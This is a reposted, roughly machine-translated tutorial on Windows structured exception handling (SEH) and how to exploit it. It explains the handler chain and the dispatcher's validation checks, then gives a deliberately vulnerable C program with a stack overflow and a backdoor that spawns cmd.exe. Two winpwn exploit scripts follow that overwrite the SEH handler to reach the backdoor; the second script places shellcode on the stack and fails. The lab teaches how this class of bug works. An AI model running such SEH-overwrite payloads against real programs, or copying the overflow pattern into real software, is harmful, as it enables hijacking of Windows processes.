当前位置:网站首页>Learn winpwn (3) -- sEH from scratch

Learn winpwn (3) -- sEH from scratch

2022-07-06 11:21:00 azraelxuemo

What is? SEH

Without the involvement of the debugger , The system mainly depends on SEH Mechanism ( User mode , Kernel mode is available ) and VEH Mechanism ( Only user mode is supported ) Do exception handling

SEH(Structed Exception Handling Structured exception handling ) yes windows A mechanism used by the operating system to debug itself , It is also a weapon for developers to handle program errors or exceptions , It tells the system who will deal with exceptions or errors when the program runs . From a programming point of view , It is an opportunity for the program to execute its preset callback function before the system terminates the program .SEH yes Windows On the operating system Yes C/C++ Grammar expansion of program language , Program control structure for handling abnormal events . Abnormal events refer to unexpected hardware that interrupts the normal execution process of the program 、 Software events . The hardware exception is CPU Thrown as except 0、 Numerical overflow, etc ; Software exceptions are when the operating system and program pass RaiseException Exception thrown by statement .Windows Expanded C Grammar of language , use try-except And try-finally Statement to handle exceptions . The exception handler can release the acquired resources 、 Display error information and internal state of the program for debugging 、 Recover from a mistake 、 Try to re execute the wrong code or close the program . One __try Statements cannot have both __except, And then there is __finally. but try-except And try-finally Statements can be nested .

SEH Relevant data structure

In fact, there are data structures _TIB and _EXCEPTIION_POINTERS, But here we focus on the following

EXCEPTION_REGISTRATION _RECORD structure

TEB The offset of is 0 Of _ EXCEPTION_REGISTRATIO_RECORD It is mainly used to describe the address of thread exception handling process , Multiple linked lists of this structure describe the nested hierarchical relationship of multiple thread exception handling processes
 Insert picture description here

among next Point to next _EXCEPTION_REGISTRATION_RECORD( abbreviation ERR) The pointer to , Form a linked list structure , The chain header is stored in fs:[0] Point to the TEB in ,Handler Point to the exception handling callback function

 Insert picture description here

When the operation is abnormal , The exception distributor of the system will start from fs:[0] Get the chain header of the exception handling process at , Then find the exception handling linked list and call the exception handling callback function in each linked list node in turn , because TEB Is the private data structure of the thread , Each thread also has its own exception handling list , namely SEH The scope of the mechanism is limited to the current thread

From the perspective of data structure ,SEH A chain is a one-way linked list that only allows adding and deleting nodes at the head of the list , And the chain header is always saved in fs:[0] Situated TEB In structure

( in other words , If we put handler Modified into backdoor, So as long as we deliberately cause exceptions , You can jump to the back door )

Exception handling call stack

 Insert picture description here
As you can see from the picture , stay KidispatchException Before , Whether it is a kernel exception or a user layer exception , The operating system only does one thing , Save the abnormal accident scene , Build the corresponding exception structure , And then call KidispatchException To distribute exceptions
For the kernel layer KidispatchException
① take Trap_Frame Backup to context Prepare for returning to the third ring ;
② Judge the previous pattern 0 It's a kernel call 1 It is called by the user layer ;
③ Determine whether it is the first time to call ;
④ Determine whether there is a kernel debugger ;
⑤ If there is no kernel debugger, it will not be processed ;
⑥ call RtlDispatchException Handling exceptions ;
⑦ If RtlDispatchException return FALSE, Again, determine whether there is a kernel debugger , No direct blue screen .

For the user layer KiDispatchExcetion Will assign a value to this global variable , This value right here is ntdll.KiUserExceptionDispatcher function .

KiUserExceptionDispatcher(PEXCEPTION_RECORD pExcptRec,CONTEXT * pContext){
	DWORD retValue;
//RtlDispatchException If an unexpected situation occurs during the execution , Will not return 
if(RtlDispatchException(pExceptRec,pContext){
// If the exception is handled and the return value is continue , Then use the repaired CONTEXT perform ,NtContinue Will not return 
	retValue=NtContinue(pContext,0);
}else
// Exception not handled , The exception will be thrown again ,FALSE Indicates the second exception , This function does not return 
retValue=NtRaiseException(pExceptRec,pContext,False);
}
 So if I go here , It indicates that the above process is abnormal again , Then the exception flag cannot be continued 
EXCEPTION_RECORD excptRec2;
exceptRec2.ExceptionCOde=retVlaue;
excptRec2.ExcptionFlags=EXCEPTION_NONCONTINUEABLE;
excotARec2.ExcptionRecord=pExcptRec;
excptRec2.NumberParamters=0;
RtlRaiseExcption(&excptRec2);

So in the end, they all go to RtlDispatchException, This is also SEH The focus of processing

SEH Default protection

Because after an exception , Would call RtlDispatchException Handling exceptions
And this process system first analyzes the stack and the EXCEPTION_REGISTRAITON_RECORD Conduct preliminary verification

The main validation code
( There is a mistake in encryption and decryption , One less negative )
 Insert picture description here

if(
//1. If SEH The node is not in the stack 
(ULONG)SEHPointer<StackLimit)// signify SEH The node exceeds the upper limit of the stack 
||(ULONG)SEHPointer+8>StackBase// signify SEH The node exceeds the bottom of the stack 
//2. If not according to ulong alignment 
||(ULONG)SEHPointer&3
||
//3. If Handler In the stack 
((ULONG)SEHPointer->Handler>=StackLimit)&&(ULONG)SEHPointer->Handler<StackBase)
{
goto DispatchExit
}

That is to say SEH The basic requirements are the following three points
1.SEH The node must be in the stack
2. According to the ulong alignment
3.Handler Cannot point to stack
Once you are not satisfied , You won't perform handler Function of , Think of this seh Node is not valid
So in general , After we overflow , You can't write directly on the stack shellcode Then point to shellcode, Because it will not meet the basic check

attack

Since it is now enabled by default SafeSEH
So we need to shut down

#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<windows.h>
#include<stdlib.h>
int copy(char* a, int len) {
	setbuf(stdout, 0);
	setbuf(stdin, 0);
	int i;
	for (i = 0; i < len; i++) {
		char tmp = getchar();
		if (tmp == '\n') {
			*(char*)(a + i) = '\0';
			break;
		}
		else {
			*(char*)(a + i) = tmp;
		}
	}
	return i;
}
int backdoor() {
	system("cmd.exe");
	return 0;
}
int main()
{
	setbuf(stdin, 0);
	setbuf(stdout, 0);
	char tmp[20];
	__try {
		printf("0x%p\n", backdoor);
		copy(tmp, 100);
		__asm {
			mov eax,0
			div eax
		}
	}
	__except(EXCEPTION_EXECUTE_HANDLER) {

	}
	return 0;
}

 Insert picture description here
Then compile
It's bad to see here 30h
Start stacking
 Insert picture description here

 Insert picture description here
First of all we need to handler Before filling 0x30-0xc The garbage data , Then cover handler
···
from winpwn import *
context.arch = “i386”
io = process(“1.exe”)
io.recvuntil(“x”)
backdoor_addr = int(io.recvuntil("\r\n"), 16)
len = 0x30
payload = “a”*(len-0xc)
payload += p32(backdoor_addr)
io.sendline(payload)
io.interactive()
···
 Insert picture description here

If payload What will happen if it is written on the stack ?

First of all, this requires disclosure ebp

#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<windows.h>
#include<stdlib.h>
int copy(char* a, int len) {
	setbuf(stdout, 0);
	setbuf(stdin, 0);
	int i;
	for (i = 0; i < len; i++) {
		char tmp = getchar();
		if (tmp == '\n') {
			*(char*)(a + i) = '\0';
			break;
		}
		else {
			*(char*)(a + i) = tmp;
		}
	}
	return i;
}
int backdoor() {
	system("cmd.exe");
	return 0;
}
int main()
{
	setbuf(stdin, 0);
	setbuf(stdout, 0);
	char tmp[20];
	int i;
	__try {
		printf("0x%p\n", backdoor);
		__asm {
			mov i, ebp
		}
		printf("0x%x\n", i);
		copy(tmp, 100);
		__asm {
			mov eax,0
			div eax
		}
	}
	__except(EXCEPTION_EXECUTE_HANDLER) {

	}
	return 0;
}
from winpwn import *
context.arch = "i386"
io = process("csdn.exe")
io.recvuntil("x")
backdoor_addr = int(io.recvuntil("\r\n"), 16)
io.recvuntil("x")
ebp_address = int(io.recvuntil('\r\n'), 16)
len = 0x34
payload = "a"*0x8
payload += "\xb8"
payload += p32(backdoor_addr)
payload += "\xff\xe0"
payload = payload.ljust(len-0xc, "b")
payload += p32(ebp_address-len+0x8)
io.sendline(payload)
io.interactive()

 Insert picture description here
did not shell
Then let's debug
 Insert picture description here

Before throwing an exception , Let's put the handler Change to the address on the stack
 Insert picture description here
Finally, because of handler On the stack , So failure , Trigger exception second chance
** Bold style **

原网站

版权声明
本文为[azraelxuemo]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/02/202202131630058269.html